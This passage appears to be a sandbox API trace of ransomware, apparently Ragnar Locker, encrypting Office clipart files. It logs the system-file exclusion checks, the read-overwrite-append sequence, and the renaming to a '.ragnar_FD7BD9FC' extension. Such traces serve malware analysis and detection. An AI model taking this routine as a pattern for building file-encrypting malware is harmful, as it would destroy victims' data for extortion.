office\\clipart\\pub60cor\\wb01740_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.131] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49077500, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49077500, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01742_.GIF", cAlternateFileName="")) returned 1 [0093.131] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.131] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01742_.GIF" | out: lpString1="WB01742_.GIF") returned="WB01742_.GIF" [0093.131] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF") returned=".GIF" [0093.131] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.131] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="autorun.inf") returned 1 [0093.131] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="boot.ini") returned 1 [0093.131] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="bootfont.bin") returned 1 [0093.131] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="bootsect.bak") returned 1 [0093.131] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="bootmgr") returned 1 [0093.131] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="bootmgr.efi") returned 1 [0093.131] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.131] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="desktop.ini") returned 1 [0093.131] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="iconcache.db") returned 1 [0093.131] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="ntldr") returned 1 [0093.131] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="ntuser.dat") returned 1 [0093.131] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.131] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="ntuser.ini") returned 1 [0093.131] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="thumbs.db") returned 1 [0093.131] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.131] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.131] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.131] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.131] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.131] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.132] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif")) returned 0x20 [0093.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.132] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=595) returned 1 [0093.132] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x24a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.132] GetProcessHeap () returned 0x580000 [0093.132] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.132] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.134] VirtualAlloc (lpAddress=0x0, dwSize=0x253, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.134] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.134] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.134] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x253, lpOverlapped=0x0) returned 1 [0093.134] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.134] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x253, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.134] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x253, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x253, lpOverlapped=0x0) returned 1 [0093.134] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x253, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.134] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.135] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x253, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.135] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.135] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.135] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.135] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.135] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.135] GetProcessHeap () returned 0x580000 [0093.135] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.135] CloseHandle (hObject=0xf4) returned 1 [0093.135] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" [0093.135] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.ragnar_FD7BD9FC" [0093.136] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.137] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47d64800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47d64800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01743_.GIF", cAlternateFileName="")) returned 1 [0093.137] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.137] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01743_.GIF" | out: lpString1="WB01743_.GIF") returned="WB01743_.GIF" [0093.137] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF") returned=".GIF" [0093.137] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.137] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="autorun.inf") returned 1 [0093.137] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="boot.ini") returned 1 [0093.137] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="bootfont.bin") returned 1 [0093.137] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="bootsect.bak") returned 1 [0093.137] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="bootmgr") returned 1 [0093.137] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="bootmgr.efi") returned 1 [0093.137] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.137] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="desktop.ini") returned 1 [0093.137] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="iconcache.db") returned 1 [0093.137] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="ntldr") returned 1 [0093.137] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="ntuser.dat") returned 1 [0093.137] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.137] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="ntuser.ini") returned 1 [0093.137] lstrcmpiW (lpString1="WB01743_.GIF", lpString2="thumbs.db") returned 1 [0093.137] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.137] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.137] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.137] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.137] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.137] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.137] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif")) returned 0x20 [0093.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.138] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1237) returned 1 [0093.138] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.138] GetProcessHeap () returned 0x580000 [0093.138] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.138] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.140] VirtualAlloc (lpAddress=0x0, dwSize=0x4d5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.140] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.140] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.141] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4d5, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4d5, lpOverlapped=0x0) returned 1 [0093.141] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.141] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4d5, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.141] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4d5, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4d5, lpOverlapped=0x0) returned 1 [0093.141] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4d5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.141] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.141] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.141] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.141] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.142] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.142] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.142] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.142] GetProcessHeap () returned 0x580000 [0093.142] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.142] CloseHandle (hObject=0xf4) returned 1 [0093.142] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" [0093.142] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.ragnar_FD7BD9FC" [0093.142] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.143] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9359300, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9359300, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x31f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01744_.GIF", cAlternateFileName="")) returned 1 [0093.143] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.143] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01744_.GIF" | out: lpString1="WB01744_.GIF") returned="WB01744_.GIF" [0093.143] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF") returned=".GIF" [0093.143] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.144] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="autorun.inf") returned 1 [0093.144] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="boot.ini") returned 1 [0093.144] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="bootfont.bin") returned 1 [0093.144] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="bootsect.bak") returned 1 [0093.144] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="bootmgr") returned 1 [0093.144] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="bootmgr.efi") returned 1 [0093.144] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.144] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="desktop.ini") returned 1 [0093.144] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="iconcache.db") returned 1 [0093.144] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="ntldr") returned 1 [0093.144] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="ntuser.dat") returned 1 [0093.144] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.144] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="ntuser.ini") returned 1 [0093.144] lstrcmpiW (lpString1="WB01744_.GIF", lpString2="thumbs.db") returned 1 [0093.144] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.144] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.144] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.144] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.144] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.144] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.144] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif")) returned 0x20 [0093.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.145] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=799) returned 1 [0093.145] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x316, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.145] GetProcessHeap () returned 0x580000 [0093.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.145] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.147] VirtualAlloc (lpAddress=0x0, dwSize=0x31f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.147] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.147] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.147] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x31f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x31f, lpOverlapped=0x0) returned 1 [0093.148] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.148] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x31f, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.148] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x31f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x31f, lpOverlapped=0x0) returned 1 [0093.148] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x31f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.148] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.148] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x31f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.148] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.148] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.148] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.149] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.149] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.149] GetProcessHeap () returned 0x580000 [0093.149] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.149] CloseHandle (hObject=0xf4) returned 1 [0093.149] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" [0093.149] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.ragnar_FD7BD9FC" [0093.149] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.150] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43119400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43119400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01745_.GIF", cAlternateFileName="")) returned 1 [0093.150] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program 